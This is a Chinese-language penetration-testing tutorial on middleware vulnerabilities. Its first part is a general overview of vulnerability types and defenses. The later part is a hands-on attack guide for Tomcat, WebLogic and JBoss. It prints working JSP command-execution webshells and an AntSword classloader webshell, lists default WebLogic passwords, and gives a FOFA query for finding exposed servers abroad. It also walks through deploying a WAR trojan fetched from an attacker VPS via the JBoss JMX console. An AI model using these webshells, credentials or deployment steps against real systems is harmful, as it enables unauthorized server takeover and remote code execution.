一.中间件概述
1.中间件定义
- 介绍:中间件(Middleware)作为一种软件组件,在不同系统、应用程序或服务间扮演着数据与消息传递的关键角色。它常处于应用程序和操作系统之间,就像一座桥梁,负责不同应用程序间的数据传递、通信协调以及网络请求处理
2.中间件的架构与功能
-
插件式架构:中间件采用插件式架构,这使得开发人员能轻松将其集成到现有的应用程序里,大大提升了开发的灵活性。
-
多样化功能
- 身份验证与授权:通过身份验证确认用户合法性,再依据授权机制分配不同权限,确保只有合法且权限匹配的用户能访问特定资源。比如企业办公系统,员工凭借用户名和密码登录(身份验证),不同级别员工拥有不同操作权限(授权)。
- 缓存:缓存常用数据,减少对后端数据库等存储的频繁访问,显著提高系统响应速度。如新闻类应用,将热门文章缓存,用户再次浏览时可快速加载。
- 负载均衡:把网络请求均匀分散到多个服务器,避免单个服务器负载过重,保障系统在高并发下的稳定运行。以大型电商平台为例,促销活动期间大量用户访问,负载均衡器将请求合理分配。
- 日志记录:详细记录系统运行中的各类事件,为故障排查、安全审计提供有力依据。如记录服务器上用户的操作行为、登录时间等。
- 安全性保障:提供基础的安全防护,抵御部分常见网络攻击。
3.中间件范畴
- 广义范畴:从广义视角,中间件涵盖了 Web 服务器、身份验证系统、消息传递工具等众多内容。
- 具体产品:常见的中间件产品包括 jboss、weblogic、tomcat、apache 等。应用中间件能够有效提升应用程序在可扩展性、可靠性、可维护性以及安全性方面的表现。
二.漏洞剖析
1.漏洞危害
- 介绍:中间件漏洞指的是中间件软件中存在的安全隐患,攻击者可能利用这些漏洞对系统展开攻击与渗透,从而危及系统安全和数据完整性。
2.漏洞类型
- 代码注入漏洞:攻击者向中间件发送恶意代码,借此执行任意代码或获取敏感数据。例如,早期一些未严格过滤输入的 Web 应用,攻击者通过在输入框注入代码,获取数据库关键信息。
- 跨站脚本漏洞(XSS):攻击者在中间件输出的网页中插入恶意脚本,可窃取用户信息,如会话 Cookie,或进行恶意重定向等行为。一些小型论坛因缺乏对用户输入内容的有效过滤,曾遭受此类攻击。
- SQL 注入漏洞:在中间件处理 SQL 查询时,攻击者插入恶意代码,实现执行任意 SQL 查询,获取数据库敏感数据。如某些管理系统,因对用户输入的查询条件未做严格验证,导致数据库被非法访问。
- 认证和授权漏洞:攻击者利用中间件认证与授权机制的缺陷,绕过访问控制,获取系统高级权限。比如某些系统中,攻击者通过篡改认证令牌获取管理员权限。
- 文件包含漏洞:攻击者利用中间件的文件包含功能,引入恶意文件并执行其中代码。在一些内容管理系统中,攻击者通过此漏洞上传恶意脚本文件,实现对系统的控制。
3.防御措施
- 安全编码:开发人员遵循安全编码规范,对用户输入进行严格验证和过滤,从源头防止恶意代码注入。
- 定期更新:及时安装中间件供应商发布的安全补丁,修复已知漏洞,保持中间件的安全性。
- 权限管理:合理设置用户权限,遵循最小权限原则,仅赋予用户完成任务所需的最低权限。
- 防火墙配置:通过配置防火墙,对中间件的网络访问进行精细控制,阻挡外部非法访问。
- 漏洞扫描:借助专业的漏洞扫描工具,定期对中间件进行全面检测,及时发现并修复潜在漏洞。
三.中间件漏洞
1.Tomcat
A.Tomcat
-
介绍:Tomcat 是一个开源的 Java Servlet 容器,由 Apache 软件基金会开发。Tomcat 对多种 Java 技术提供支持,包括 Java Servlet、JavaServer Pages(JSP)、Java Expression Language(EL)和 WebSocket 等 ,并且拥有许多企业级特性,如集群、安全性和可扩展性,这使其在 Java Web 开发中应用广泛。
-
使用:
- 可作为独立的 Web 服务器或应用服务器运行。
- 也能作为插件集成到其他 Web 服务器,例如 Apache HTTP Server。
B.WAR包
-
介绍:WAR(Web Application Archive)是 Web 应用程序的一种打包格式,作用是将 Web 应用程序打包成单个文件,极大地方便了应用程序的部署与分发。从本质上讲,WAR 文件属于 JAR(Java Archive)文件的一种,其中包含了 Web 应用程序运行所需的全部内容。
- 代码相关:Java 类文件,是应用程序逻辑实现的核心部分。
- 页面相关:HTML、JSP 文件,用于构建用户界面,展示内容给用户。
- 配置相关:Servlet、XML 配置文件(如 web.xml、context.xml 等),用于配置 Web 应用程序的各种参数和运行规则,决定应用程序如何运行。
- 静态资源:包含图片、CSS、JavaScript 文件等,用于美化界面和实现交互功能。
C.WAR包上传
-
制作WAR包:将jsp木马文件进行压缩后,将压缩文件 .zip 改为 .war
-
jsp文件内容:
<%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line); // 输出命令执行结果 } reader.close(); // 关闭资源 } catch (IOException e) { out.println("Error executing command: " + e.getMessage()); } } %>
-
-
找到上传点进行上传
-
上传成功
-
调用一句话木马文件,并成功执行命令
2.Weblogic
-
介绍: WebLogic Server 是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于 JavaEE 架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
-
特征:
-
默认端口:7001
-
Web界面:Error 404--Not Found
-
-
历史漏洞
-
影响版本
-
10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2
12.2.1.3
14.1.1.0
-
-
漏洞寻找
-
获取资产:shodan、fofa、zoomeye等
- 示例:fofa:app="BEA-WebLogic-Server" && country!="CN"
-
批量扫描脚本:Weblogic一键漏洞检测工具_V1.5
-
-
漏洞环境搭建
-
docker pull vulhub/weblogic:10.3.6.0-2017
docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017
-
A.弱口令
-
介绍:Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。
-
默认账密:
访问路径:/console
账号:weblogic
密码:Oracle@123
-
-
Weblogic 默认口令:
-
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
-
B.GetShell
-
准备 .jsp 一句话木马文件
<%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line); // 输出命令执行结果 } reader.close(); // 关闭资源 } catch (IOException e) { out.println("Error executing command: " + e.getMessage()); } } %>
-
登录后台后,点击部署
-
点击安装
-
点击上载文件
-
上传完,并测试
-
getshell
-
注意:上面的 .jsp 文件不支持蚁剑,蚁剑连接必须使用下面的 yijian.jsp 或蚁剑插件生成的jsp webshell
<%@ page import="java.lang.reflect.Method" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("ant"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
-
3.JBoss漏洞
-
介绍:JBoss是一个用于管理EJB(Enterprise JavaBeans)的容器和服务器。它专注于企业级Java应用的开发与部署,本身核心服务并不包含支持servlet/JSP的WEB容器,在实际应用中,通常会与Tomcat或Jetty绑定使用 ,就如同Apache是常见的web服务器,而JBoss则是专门用来运行Java EE程序的应用服务器。
-
历史漏洞:
-
访问控制不严导致的漏洞
- JMX Console 未授权访问 Getshell:Jboss 的 webUI 界面http://ip:port/jmx-console存在未授权访问情况,甚至部分存在默认密码admin/admin。这一漏洞会导致 JBoss 的部署管理信息泄露,攻击者还能借此直接上传木马获取 webshell。
- Administration Console 弱口令 Getshell:由于用户设置的口令强度不足,攻击者通过简单的猜测或暴力破解,利用弱口令登录 Administration Console,进而获取服务器权限,实现 Getshell。
- CVE - 2007 - 1036 -- JMX Console HtmlAdaptor Getshell:此漏洞与 JMX Console 的 HtmlAdaptor 相关,攻击者利用该漏洞可以在未授权的情况下获取服务器的控制权,实现 Getshell 操作。
- CVE - 2010 - 0738 -- JMX 控制台安全验证绕过漏洞:通过特定的手段,攻击者能够绕过 JMX 控制台的安全验证机制,获取对控制台的访问权限,从而进一步实施攻击行为。
-
反序列化漏洞
- CVE - 2013 - 4810 -- JBoss EJBInvokerServlet 反序列化漏洞:JBoss 的 EJBInvokerServlet 存在反序列化漏洞,攻击者可以构造恶意的反序列化数据,利用该漏洞执行任意代码,进而控制服务器。
- CVE - 2015 - 7501 -- JBoss JMXInvokerServlet 反序列化漏洞:在 JMXInvokerServlet 中,由于反序列化机制的缺陷,攻击者可以发送精心构造的请求,触发反序列化漏洞,实现对服务器的攻击。
- CVE - 2017 - 7504 -- JBoss 4.x JBossMQ JMS 反序列化漏洞:针对 JBoss 4.x 版本的 JBossMQ JMS 组件,存在反序列化漏洞,攻击者可以利用该漏洞进行远程代码执行,对服务器造成严重威胁。
- CVE - 2017 - 12149 -- JBosS AS 6.X 反序列化漏洞:在 JBosS AS 6.X 版本中,存在反序列化漏洞,攻击者可以通过发送恶意请求,利用该漏洞获取服务器的控制权。
-
-
JBoss 漏洞检测工具:一个简单探测jboss漏洞的工具
A.JMX Console 未授权访问漏洞利用
-
漏洞利用工具
-
自动化利用:使用https://gitee.com/yijingsec/JbossVulExploit进行自动化利用。具体步骤如下:
- 首先,将文件夹里的bx3.war放到自己的公网服务器上,然后使用 python 启动一个 http 服务,用于提供 war 包的下载。
- 运行脚本,在脚本中设置Set target url为目标网站,Set vps ip为 war 包所在的 http 服务的 ip,Set vps httpServer port为所启动的 http 服务的端口。完成设置后,即可自动利用漏洞进行攻击,攻击成功后,可使用冰蝎进行连接,获取服务器的控制权。
-
-
手动利用
-
远程部署 war 包:
-
找到jboss.deployment选项(Jboss 自带的部署功能)中的flavor = URL,type = DeploymentScanner点进去(通过 url 的方式远程部署)。也可以直接输入以下 URL 进入:http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean\&name=jboss.deployment:type=DeploymentScanner,flavor=URL。
-
进入页面后找到void addURL(),开始部署远程的 war 包木马。具体操作如下:
- 打包 jsp 马为 war 包:jar -cvf shell.war shell.jsp
- 在 vps 上启动 web 服务:python -m http.server
- 确定 war 包下载地址:http://vps - IP:8000/shell.war
- 点击Invoke部署 war 包。
-
随后点击Back to MBean View来到URLList中查看Value值是否已经部署好,并且为远程 war 木马地址。
-
最后点击Apply Changes后耐心等待一会儿(等待时间较长),然后回到JMX - Console目录中,找到jboss.web.deployment查看是否存在部署的 war 木马。若存在,则表示部署成功,攻击者可以进一步利用该 war 包获取服务器的控制权。
-
-